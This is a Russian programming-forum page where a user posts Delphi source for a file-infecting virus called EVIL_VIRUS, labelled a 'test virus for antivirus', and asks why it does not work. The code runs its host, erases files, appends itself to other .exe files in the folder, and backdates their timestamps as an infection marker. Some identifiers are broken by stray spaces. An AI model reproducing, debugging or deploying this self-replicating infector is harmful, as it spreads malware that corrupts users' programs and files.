![]() |
|
|
Регистрация Восстановить пароль |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
![]() |
|
Опции темы | Поиск в этой теме |
![]() |
#1 |
Форумчанин
Регистрация: 27.05.2009
Сообщений: 192
|
![]()
тестовый вирус для антивируса...
program EVIL_VIRUS; USES WINDOWS,SYSUTILS,FileCtrl ; VaR VirBuf, ProgBuf, MyBuf : array of char; //массивчики нам для проги и виря SR : tSearchRec; //характеристики жертвы My,pr : File; //файлики разные ProgSize,result,int : integer; //размер кода программы, результат поиска PN,st,s : String; si : tStartUpInfo; p :tProcessInformation; infected : boolean; //Ты заряжен? CONST VirLen: longint= 373248; {$I-} begin SetLength (virbuf,VirLen); AssignFile (my,ParamStr(0)); st:= paramstr(0); St:= st+#0; CopyFile (@st[1],'c:\program.exe',fALSE); IF FileSize(my)>VirLen then begin //Запуск программы AssignFile (my,'c:\program.exe'); ProgSize:= VirLen; BlockRead (my,virbuf,virlen); SetLength (progbuf,pRogSize); BlockRead (my,progbuf,progSize); CloseFile (my); PN:=ParamStr(0); PN:='_'+ExtractFileName(PN); AssignFile (pr,PN); ReWrite (pr); BlockWrite (pr,progbuf,progSize); CloseFile (pr); FillChar( Si, SizeOf( Si ) , 0 ); end; with Si do begin cb := SizeOf( Si); dwFlags := startf_UseShowWindow; wShowWindow := 4; end; PN:= PN+#0; Createprocess(nil,@PN[1],nil,nil,false,Create_default_error _mode,nil,nil,si,p); Waitforsingleobject(p.hProcess,infi nite); //Запустили, программа отработала. Сотрем ее ![]() ErAsE (pr); Erase (my); result:= FindFirst ('*.exe',faAnyFile,sr); while Result=0 do begin //Проверка на вшивость Infected:= false; IF DateTimeToStr(FileDateToDateTime (FileAge (sr.name)))= '03.08.1998 6:00:00' then //Проверено! infected:= true; IF (infected= false)and (sr.name<>paramstr(0)) then begin AssignFile (my,sr.Name); reset(my); Seek(my,sr.Size); BlockWrite (my,virbuf,virlen); BlockWrite (my,progbuf,sr.Size); CloseFile (my); FileSetDate (sr.Name,DateTimeToFileDate(StrToDa teTime ('03.08.1998 6:00:00'))); //Если вир запущен "чистым", т.е. не из зараженной программы, то завершаемся end else halt; result:= FindNext (sr); end; end. не могу понять почему не работает... |
![]() |
![]() |
![]() |
![]() |
||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Курсовой проект | tatishka | Помощь студентам | 1 | 19.01.2011 10:33 |
Курсовой проект по Delphi 7 | Agent[PNZ] | Помощь студентам | 9 | 14.11.2008 13:25 |
Нужен курсовой проект | фамил | Помощь студентам | 2 | 13.05.2008 17:58 |
Небольшой курсовой проект (Assembler) | slaider | Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM | 17 | 10.03.2008 18:59 |